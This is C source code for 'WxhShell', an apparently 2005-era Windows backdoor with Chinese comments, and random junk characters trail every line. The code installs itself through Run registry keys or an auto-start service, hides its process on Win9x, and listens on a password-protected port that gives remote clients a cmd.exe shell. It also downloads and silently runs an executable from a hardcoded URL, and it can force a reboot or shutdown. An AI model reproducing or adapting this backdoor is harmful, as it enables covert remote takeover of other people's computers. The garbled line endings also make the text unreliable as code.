    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >b~Q%{1  
    if(Boot(SHUTDOWN)) !Nbi&^k B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `.wgRUhFH;  
    else { w1 A-_  
    closesocket(wsh); `:2np{  
    ExitThread(0); kjr q;j:  
    } 0|{":i_s  
    break; 1uz K(j8w  
    } ncpA\E;ff^  
  // 获取shell T,B%iZgCh  
  case 's': { QRF:6bAxsL  
    CmdShell(wsh); %v^qQWy=*  
    closesocket(wsh); k"cKxzB  
    ExitThread(0); GT3}'`f B  
    break; 6K >(n  
  } ^plP1c:  
  // 退出 $GVf;M2*  
  case 'x': { @;[.#hK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \P*%u  
    CloseIt(wsh); WK.,q>#  
    break; nVGOhYn  
    } \_+Af`  
  // 离开 7j"B-k#  
  case 'q': { F^!mgU X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f Qw|SW  
    closesocket(wsh); Eb8z`@p  
    WSACleanup(); GB}X  
    exit(1); y;hco  
    break; vVo# nzeZ5  
        } 4ijZQ  
  } vmW`}FKW  
  } 4Cvo^k/I  
(e<p^T J]  
  // 提示信息 `2'*E\   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f&X M|Bg  
} 0b2;  
  } 5'xZ9K  
iT1HbAT]  
  return; w h^I|D?"  
} \d w["k  
myB!\ WY   
// shell模块句柄 vY,]f^F"  
int CmdShell(SOCKET sock) Tn$| Xa+:s  
{ NE Z ]%  
STARTUPINFO si; k7z{q/]M  
ZeroMemory(&si,sizeof(si)); 4Q\~l(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n>%TIoY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; eT8h:+k  
PROCESS_INFORMATION ProcessInfo; ,qhv(  
char cmdline[]="cmd"; *yW9-(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +R31YR8C0  
  return 0; ZaFqGcS~  
} _3gF~qr  
11JO[  
// 自身启动模式 a0  w  
int StartFromService(void) HGW;]8xl  
{ {dV!sQD  
typedef struct {1GIiP-U  
{ "~IGE3{  
  DWORD ExitStatus; nm<S#i*  
  DWORD PebBaseAddress; RY*s}f  
  DWORD AffinityMask; ;fv/s]X86I  
  DWORD BasePriority; =}W)%Hldr.  
  ULONG UniqueProcessId; ralU9MN.  
  ULONG InheritedFromUniqueProcessId; 'RCX6TKBnR  
}   PROCESS_BASIC_INFORMATION; 3[To"You  
KYFkO~N  
PROCNTQSIP NtQueryInformationProcess; zrur-i$N+  
n\YWWW[wf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JI92Dc*o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; McU]U 9:z  
8V:yOq10  
  HANDLE             hProcess; 0y#TGM|0D  
  PROCESS_BASIC_INFORMATION pbi; !|#1z}(  
H, O_l%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kC+dQ&@g{  
  if(NULL == hInst ) return 0; v=+>ids  
*\[GfTL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); OH~I+=}.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m*TJ@gI*t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k12mxR/  
$h'>Zvf  
  if (!NtQueryInformationProcess) return 0; GoKMi[b  
uvGFo)9q3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 82z<Q*YP  
  if(!hProcess) return 0; T<ekDhlr  
]b@:?DX8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ((Wq  
I4 4bm?[S  
  CloseHandle(hProcess); Ea3 4x  
U^$l$"~"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LpSd/_^b  
if(hProcess==NULL) return 0; %:.00F([r  
SyR[G*djl  
HMODULE hMod; $RV'DQO  
char procName[255]; -ID!kZx  
unsigned long cbNeeded; n15lX,FI  
C`C$i>X7^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]i:O+t/U  
&k {1N.  
  CloseHandle(hProcess); Yy8%vDdJO  
jQ Of+ZE  
if(strstr(procName,"services")) return 1; // 以服务启动 w1|YR  
}^B=f_Ag  
  return 0; // 注册表启动 [a1}r=6~  
} 1rhQ{6  
;-T%sRI:|  
// 主模块 :. a}pgh  
int StartWxhshell(LPSTR lpCmdLine) 1:lhZFZ  
{ v#`P?B\  
  SOCKET wsl; s&zg!~@5b  
BOOL val=TRUE; cwA+?:Ry}  
  int port=0; p[-bu B]  
  struct sockaddr_in door; EK}f-Xei  
]w|,n2DG  
  if(wscfg.ws_autoins) Install(); zi}dQsy6  
-|xyj2M  
port=atoi(lpCmdLine); g4*]R>f  
20H$9M=}  
if(port<=0) port=wscfg.ws_port; vZpt}u  
W%RjjL J@  
  WSADATA data; {sL(PS.z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?k*s!YCZ  
`ynD-_fTN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y: XxTa*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `l95I7  
  door.sin_family = AF_INET; A?*_14&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .pQ4#AJ  
  door.sin_port = htons(port); &llp*< i7  
9rsty{J8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h $}&N  
closesocket(wsl); j*jO809%^  
return 1; I 0}+}{M:  
} gyW##M@{  
n/5)}( }K  
  if(listen(wsl,2) == INVALID_SOCKET) { HLcK d`$/  
closesocket(wsl); &Q"Ox{~W  
return 1; '\X<+Sm'  
} ef=LPCi?  
  Wxhshell(wsl); VZ8HnNAbX  
  WSACleanup(); Ni[2 p  
@cZNoD  
return 0; Yxt`Uvc(^h  
YQ}bG{V  
} Iz\IQa  
PO[ AP%;  
// 以NT服务方式启动 M[R\URu8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dF%sD|<)  
{ %Ot^G%34  
DWORD   status = 0; @OlV6M;qJ  
  DWORD   specificError = 0xfffffff; w%[ `'_[  
T7=~l)I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; agFWye  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D'Gmua]I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L.z`>1  
  serviceStatus.dwWin32ExitCode     = 0; ,#42ebGHR  
  serviceStatus.dwServiceSpecificExitCode = 0; ~cSOni`  
  serviceStatus.dwCheckPoint       = 0; s:y=X$&M  
  serviceStatus.dwWaitHint       = 0; *a7&v3X  
Svo gvn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u;Q'xuo3  
  if (hServiceStatusHandle==0) return; b;O|-2AR  
nx >PZb  
status = GetLastError(); +SSF=]4+  
  if (status!=NO_ERROR) }pa@qZXh  
{ t*zBN!Wu_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q|. X[~e|  
    serviceStatus.dwCheckPoint       = 0; FU|c[u|z  
    serviceStatus.dwWaitHint       = 0; %K_[Bx{B  
    serviceStatus.dwWin32ExitCode     = status; 8ctUK|  
    serviceStatus.dwServiceSpecificExitCode = specificError; Yl+r>+^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W|@/<K$V  
    return; {Ah\-{]  
  } r~uWr'}a}  
GyOo$FW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +_ HPZo  
  serviceStatus.dwCheckPoint       = 0; zF2GW  
  serviceStatus.dwWaitHint       = 0; joh=0nk;D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <=*xwI&q  
} +`==US34  
6t|FuTC  
// 处理NT服务事件,比如:启动、停止 Oi=>Usd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) YN ~ 7nOw  
{ k 4+F  
switch(fdwControl) >*v^E9Y  
{ m1X0stFRs"  
case SERVICE_CONTROL_STOP: V Z[[zYe  
  serviceStatus.dwWin32ExitCode = 0; uJ4RjLM`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $g55wGF  
  serviceStatus.dwCheckPoint   = 0; n; 0bVVMV  
  serviceStatus.dwWaitHint     = 0; 3 n/U4fn_  
  { ;Bo{.916  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xGq,hCQHV  
  } ^<R*7mB*  
  return; ;N4b~k)  
case SERVICE_CONTROL_PAUSE: }MDuQP]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ->x+ p"  
  break; is%qG?,P  
case SERVICE_CONTROL_CONTINUE: m?G}%u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; EAcJ>  
  break; iO;q]  
case SERVICE_CONTROL_INTERROGATE: DT_HG|  
  break; (yduU  
}; ANy=f-V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AfG!(AF`  
} Y%b 5{1  
8W 9%NW3&  
// 标准应用程序主函数 a3L]'E'*#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O&=?,zLO[  
{ mfO:#]K  
zm}4=Kz}  
// 获取操作系统版本 N0h"EV[  
OsIsNt=GetOsVer(); q#-szZQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \. A~>=:  
MEbx{XC  
  // 从命令行安装 W xyQA:3s  
  if(strpbrk(lpCmdLine,"iI")) Install(); t i)foam  
e*e}X&|(g  
  // 下载执行文件 ul+ +h4N  
if(wscfg.ws_downexe) { `Y-uNJ'.N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /_?E0 r  
  WinExec(wscfg.ws_filenam,SW_HIDE); >A|6 kzC  
} h3D8eR.  
*Wv]DV=\  
if(!OsIsNt) { ,8g~,tMr+  
// 如果时win9x,隐藏进程并且设置为注册表启动 XB-pOtVm  
HideProc(); zPU& }7  
StartWxhshell(lpCmdLine); A+3@N99HeH  
} [1'`KJ]  
else Zr_{Z@IpU  
  if(StartFromService()) MI|DOp  
  // 以服务方式启动 C_?L$3 U0  
  StartServiceCtrlDispatcher(DispatchTable); ]`&EB~K&NY  
else *A`hKx  
  // 普通方式启动 | QJ!5nb  
  StartWxhshell(lpCmdLine); G8@({EY  
%O;"Z`I  
return 0; iLn)Z0<\o  
} b7{)B?n  
="RDcf/  
OC9_EP\"  
!SIGzj  
=========================================== AZxx%6  
A"k6n\!n;  
Aj.TX%}`h  
nI%0u<=d  
;Br8\2=$  
kssS,Ogf\_  
" zv!%u=49  
:k075Zr/#D  
#include <stdio.h> {Q?AIp6u|  
#include <string.h> ;VM/Cxgep  
#include <windows.h> UXoaUW L  
#include <winsock2.h> a<FzHCw  
#include <winsvc.h> T{bM/?g  
#include <urlmon.h> ;Yyg(Ex  
Rk56H  
#pragma comment (lib, "Ws2_32.lib") f .rz2)o  
#pragma comment (lib, "urlmon.lib") _wKFT>  
[kgT"?w=  
#define MAX_USER   100 // 最大客户端连接数 Q <EFd   
#define BUF_SOCK   200 // sock buffer (F]f{8  
#define KEY_BUFF   255 // 输入 buffer /s(/6~D|  
ox] LlRK  
#define REBOOT     0   // 重启 |uQJMf[L)  
#define SHUTDOWN   1   // 关机 qr$=oCqa  
Yva^JB  
#define DEF_PORT   5000 // 监听端口 3'O+  
5[esW  
#define REG_LEN     16   // 注册表键长度 KP[ax2!x  
#define SVC_LEN     80   // NT服务名长度 m;lwMrY\7>  
U;:>vi3p  
// 从dll定义API 07Yh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |]HU$Gt S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |:`f#H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BKIAc6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "{&\nt  
eHi|_3A&*  
// wxhshell配置信息 mKtZ@r)u  
struct WSCFG { >IC.Zt@  
  int ws_port;         // 监听端口 S& 8gZ~B  
  char ws_passstr[REG_LEN]; // 口令 ^6mlE+WY  
  int ws_autoins;       // 安装标记, 1=yes 0=no JSt%L|}Y  
  char ws_regname[REG_LEN]; // 注册表键名 <g5Bt wo%  
  char ws_svcname[REG_LEN]; // 服务名 G6_Kid}"q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K7Kd{9-2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <)n1Z[4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Axhe9!Fm  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }XWic88!~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /}-]n81m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {7[^L1  
S3i%7f^C?N  
}; EQ8jxr<p  
WZ'8{XY8  
// default Wxhshell configuration @a)@1:=Rm  
struct WSCFG wscfg={DEF_PORT, kYl$V =  
    "xuhuanlingzhe", mfQQ<Q@  
    1, 2I(0EBW  
    "Wxhshell", ,Ww)>O+  
    "Wxhshell", nM34zVy  
            "WxhShell Service", "2}04b|"  
    "Wrsky Windows CmdShell Service", ;FQAL@"Yj  
    "Please Input Your Password: ", *qj @y'1\  
  1, 4Z"D F)+}  
  "http://www.wrsky.com/wxhshell.exe", !m^;Apuy  
  "Wxhshell.exe" s\1h=V)!H  
    }; 7gfNe kr~W  
q-eC=!#}  
// 消息定义模块 k/=J<?h0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .%<oy"_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X{P_HCd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ez&v"J  
char *msg_ws_ext="\n\rExit."; Kjc"K36{L  
char *msg_ws_end="\n\rQuit."; \$T  
char *msg_ws_boot="\n\rReboot..."; )t9<cJ=  
char *msg_ws_poff="\n\rShutdown..."; 2PE|4zG  
char *msg_ws_down="\n\rSave to "; 'W3>lAPx!  
_)O1v%]"4  
char *msg_ws_err="\n\rErr!"; kih;'>H<  
char *msg_ws_ok="\n\rOK!"; YH&`+ +  
f%` =>l  
char ExeFile[MAX_PATH]; b/5?)!I  
int nUser = 0; j1*'yvGM  
HANDLE handles[MAX_USER]; AcyiP   
int OsIsNt; 6A;V[3  
Oj\lg2Ck  
SERVICE_STATUS       serviceStatus; HhhN8t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D'ZR>@w@  
hU3c;6]3  
// 函数声明 L&MR%5  
int Install(void); 6C4c.+S  
int Uninstall(void); C$SuFL(pb  
int DownloadFile(char *sURL, SOCKET wsh); g2JNa?z  
int Boot(int flag); [U]U *x  
void HideProc(void); \Pi\c~)Pr  
int GetOsVer(void); /qed_w.p  
int Wxhshell(SOCKET wsl); 57*z0<  
void TalkWithClient(void *cs); #Gx%PQ`  
int CmdShell(SOCKET sock); QxH%4 )?  
int StartFromService(void); R22YKXU  
int StartWxhshell(LPSTR lpCmdLine); 7/a[;`i*!  
S3EY9:^ C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )."_i64  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6x)7=_:0  
P{i\x#  
// 数据结构和表定义 M' e<\wqm  
SERVICE_TABLE_ENTRY DispatchTable[] = m.pB]yq&  
{ jB!p,fqcb  
{wscfg.ws_svcname, NTServiceMain}, %B}Q.'  
{NULL, NULL} ~ P"@^cq  
}; 6O bB/*h  
{mrTpw  
// 自我安装 >8D!K0?E  
int Install(void) 9+ nB;vA  
{ Ci4`,  
  char svExeFile[MAX_PATH]; VdjS\VYe,  
  HKEY key; H=9kDP${  
  strcpy(svExeFile,ExeFile); ExeD3Zj  
=,$*-<p=3  
// 如果是win9x系统,修改注册表设为自启动 R8I%Cyc  
if(!OsIsNt) { f_Ma~'3   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dKTyh:_{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3p6QJuSB  
  RegCloseKey(key); Oq@+/UWX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f(:+JH<P~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u,AP$+Qk  
  RegCloseKey(key); B(7oHj.i2  
  return 0; "XfCLc1 T  
    } y$|%K3  
  } >lQ@" U  
} 5. 5<.")  
else { 4l7TrCB  
bc=,$  
// 如果是NT以上系统,安装为系统服务 g5M=$y/H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $s+/OgG4H  
if (schSCManager!=0) 45. -P  
{ v_mk{  
  SC_HANDLE schService = CreateService rR]U Ff  
  ( {L~j;p_G&  
  schSCManager, +wc8rE6+W  
  wscfg.ws_svcname, 7rQwn2XD{  
  wscfg.ws_svcdisp, Swz{5 J2C  
  SERVICE_ALL_ACCESS, 0b6jGa  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G2qv)7{l2  
  SERVICE_AUTO_START, O42`Z9oK  
  SERVICE_ERROR_NORMAL, ">cLPXX  
  svExeFile, pMB!I9q  
  NULL, L#O1 >  
  NULL, -{`8Av5)E%  
  NULL, \~ m\pf?  
  NULL, dp#JvZb  
  NULL F] e` -;  
  ); lC/1,Z/M  
  if (schService!=0) "@^Pb$BLY  
  { 8C]K36q  
  CloseServiceHandle(schService); )Tjh  
  CloseServiceHandle(schSCManager); @W}cM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q2yD4>qy  
  strcat(svExeFile,wscfg.ws_svcname); eyW8?:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &H8wYs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [As9&]Bv5  
  RegCloseKey(key); F-AU'o *  
  return 0; Em)U`"j/9  
    } S&/,+x'c|  
  } _PT5  
  CloseServiceHandle(schSCManager); ?M!Mb-C[  
} 94^)Ar~O  
} JguPXHa0  
aItQ(+y  
return 1; #1*#3p9UL  
} [wU e"{  
,ZGU\t  
// 自我卸载 V=^B7a.;>  
int Uninstall(void) U\*]cw  
{ VyX5MVh  
  HKEY key; C7*n<+e  
:I_p4S.)  
if(!OsIsNt) { Z$ ?(~ln  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {uUV(FzF6  
  RegDeleteValue(key,wscfg.ws_regname); r1<dZtb  
  RegCloseKey(key); i>z_6Gax*[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m)AF9#aT2  
  RegDeleteValue(key,wscfg.ws_regname); !/nXEjW?  
  RegCloseKey(key); Q^\m@7O :  
  return 0; SR%k|YT  
  }  :o~]FVf  
} aVB/Co M9  
} $UNC0 (4  
else { m tU{d^B  
{zX]4 1T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |RjAp.pm  
if (schSCManager!=0) nQGl]2  
{ Ft E5H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Zd5Jz+f  
  if (schService!=0) 'tTUro1~  
  { ~c,CngeL0  
  if(DeleteService(schService)!=0) { nuKcq!L  
  CloseServiceHandle(schService); Gj_7wP$  
  CloseServiceHandle(schSCManager); ^H"o=K8=  
  return 0; &F- \t5X=i  
  } QPX&P{!g  
  CloseServiceHandle(schService); cwuzi;f  
  } >``sM=Wat  
  CloseServiceHandle(schSCManager); BG|m5f  
} \?v?%}x  
} XHU\;TF  
QC,fyw\  
return 1; x~Y{ {  
} H;nEU@>"Z  
'C4cS[1  
// 从指定url下载文件 LBxmozT  
int DownloadFile(char *sURL, SOCKET wsh) @E 8P>kq  
{ @An}  
  HRESULT hr; 0=0,ix7?#  
char seps[]= "/"; \sMe2OL#z  
char *token; *\.8*6*$!  
char *file; \sBXS.  
char myURL[MAX_PATH]; dI%?uk  
char myFILE[MAX_PATH]; 6k_Uq.<X  
p}oGhO&=  
strcpy(myURL,sURL); /4*Y#IpZ  
  token=strtok(myURL,seps); 2FR+Z3&z  
  while(token!=NULL) Xh}S_/9}5  
  { |nCVM\+5T  
    file=token; /#WvC;B  
  token=strtok(NULL,seps); V7b;qC'  
  } Rk,'ujc  
beaSvhPU  
GetCurrentDirectory(MAX_PATH,myFILE); %afN&T  
strcat(myFILE, "\\"); hkb&]XWi[  
strcat(myFILE, file); 9tX+n{i  
  send(wsh,myFILE,strlen(myFILE),0); Zg$S% 1(Q  
send(wsh,"...",3,0); Ptz## o'{5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mC0_rN^Aj  
  if(hr==S_OK) q<j9l'dHG  
return 0; wn^#`s!]U  
else Oa2\\I  
return 1; v,C~5J3h)  
^@3,/dH1 t  
} :YQI1 q[6  
br^ A<@,d  
// 系统电源模块 &~Pk*A_:  
int Boot(int flag) *`} !{ Mb  
{ k".kbwcaF  
  HANDLE hToken; uNkJe  
  TOKEN_PRIVILEGES tkp; lJ]]FuA-Q  
zYrJ Hn#vB  
  if(OsIsNt) { nY7gST  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &wAVO_s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Kt](|  
    tkp.PrivilegeCount = 1; m/Erw"Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^U5Qb"hz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "~=-Q#xO  
if(flag==REBOOT) { Nm !~h|3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RIQ-mpg~(k  
  return 0; eF]8Ar1  
} R# T 6]  
else { `Xz!apA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G^N@ r:RS  
  return 0; 4Q/{lqG  
} |h }4J  
  } \-pqqSy  
  else { 3dSb!q0&N  
if(flag==REBOOT) { ,]:Gn5~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~`Rar2%B  
  return 0; ?JG^GD7D  
} D2g/P8.<A  
else { d<+hQ\BF,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GGnlkp& E  
  return 0; /o%VjP"<  
} obE8iG@H  
} }zks@7kf  
Unv'm5/L  
return 1; L2+cVR  
} AT)b/ycC  
$|xSM2  
// win9x进程隐藏模块 n\)1Bz  
void HideProc(void) <}:` Y"  
{  z3]W #  
}tw+8YWkz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V3# ms0  
  if ( hKernel != NULL ) ;p2b^q'  
  { WQ 2{`'z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MT"&|Og  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )=sbrCl,C/  
    FreeLibrary(hKernel); =6qTz3t  
  } ^GAJ9AF@(  
d&CpaOSu  
return; &&m3E=K!^  
} rrr_{d/  
d|oO2yzWv  
// 获取操作系统版本 ]/kpEx  
int GetOsVer(void) i^e8.zgywF  
{ F|{uA/P{  
  OSVERSIONINFO winfo; 3rB0H   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "!D y[J  
  GetVersionEx(&winfo); ^~I@]5Pq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +}N'Xa/Jt  
  return 1; t/Y0e#9,  
  else Bcarx<P-p  
  return 0; 4xEw2F  
} mE`qA*=?  
Vi:^bv  
// 客户端句柄模块 W^H3=hZ  
int Wxhshell(SOCKET wsl) 9sT5l"?g  
{ j{ YYG|  
  SOCKET wsh; R2n 2mQ<  
  struct sockaddr_in client; g\fj6  
  DWORD myID; \7i_2|w  
;<N:!$p  
  while(nUser<MAX_USER) m)} 01N4  
{ tnaFbmp  
  int nSize=sizeof(client); cLl~4jL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u*v<dsGQ  
  if(wsh==INVALID_SOCKET) return 1; =V]0G,,\  
E0R6qS:'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >> "gb/x,  
if(handles[nUser]==0) \?>M?6D  
  closesocket(wsh); IC&P-X_aP  
else ^e_LnJ+  
  nUser++; i ? ~-%  
  } n'v\2(&uYN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -z~!%4 a  
Ac|\~w[\  
  return 0; iW^J>aKy  
} R8k4?_W?T  
R__:~ uv,  
// 关闭 socket } 1e4u{  
void CloseIt(SOCKET wsh) UPU$SZAIx  
{ }VZExqm)  
closesocket(wsh); itP`{[  
nUser--; jZzTnmm&?  
ExitThread(0); 1'\QD`M9^  
} N"G aQ  
q50F!yHC-  
// 客户端请求句柄 2^=.j2  
void TalkWithClient(void *cs) z'"7zLQ  
{ qEr?4h  
\O;2^  
  SOCKET wsh=(SOCKET)cs; /W$i8g  
  char pwd[SVC_LEN]; =&}_bd/]  
  char cmd[KEY_BUFF]; /j$=?Rp  
char chr[1]; D<;~eZ'  
int i,j; <;S$4tux  
o]4\Geg$  
  while (nUser < MAX_USER) { IgG[Pr'D  
bsF_.S*k@  
if(wscfg.ws_passstr) { bu|.Jw"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zo( #tQ-'m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |MFAP!rycS  
  //ZeroMemory(pwd,KEY_BUFF); Sy|GM~  
      i=0; [&n[p?  
  while(i<SVC_LEN) { h9)fXW  
%`yfi+e  
  // 设置超时 GYx0U8MJ[e  
  fd_set FdRead; )Xjn:  
  struct timeval TimeOut; Q2VF+g,  
  FD_ZERO(&FdRead); o=3hWbe  
  FD_SET(wsh,&FdRead); b$ 7 ]cE  
  TimeOut.tv_sec=8; ={ )85N  
  TimeOut.tv_usec=0; o,`"*][wd  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z~pp7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Zk%@GOu\  
x/umwT,ov  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `y3'v]  
  pwd=chr[0]; :J`@@H  
  if(chr[0]==0xd || chr[0]==0xa) { Wr%ov6:  
  pwd=0;  f\<r1  
  break; R J{$`d  
  } ixu*@{<Z(  
  i++; y|}~"^+T  
    } $] We|  
#m.e9MU  
  // 如果是非法用户,关闭 socket v 49o$s4J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RW L0@\  
} cRVL1ne  
. ,^WCyvq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2|,L 9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Reikf}9Q  
iPTQqx-m$7  
while(1) { dT|f<E/P  
CaJ-oy8  
  ZeroMemory(cmd,KEY_BUFF); P35DVKS  
Dcvul4Q  
      // 自动支持客户端 telnet标准   tk%f_"}  
  j=0; `FMo; ,j  
  while(j<KEY_BUFF) { ?8-!hU@QC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b&U1^{(  
  cmd[j]=chr[0]; '`P%;/z  
  if(chr[0]==0xa || chr[0]==0xd) { Y[6T7eZ0g  
  cmd[j]=0; J,yKO(}<C  
  break; (`.OS)&  
  } XP@dg4Z=z  
  j++; ,Z@#( =f  
    } R+M=)Z  
g#J aw|N  
  // 下载文件 OoSk^U)  
  if(strstr(cmd,"http://")) { ,-#MEr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mVZh_R=a  
  if(DownloadFile(cmd,wsh)) !CGX\cvW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "tz6O0D  
  else W%!(kN&d  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8wsU`40=Q  
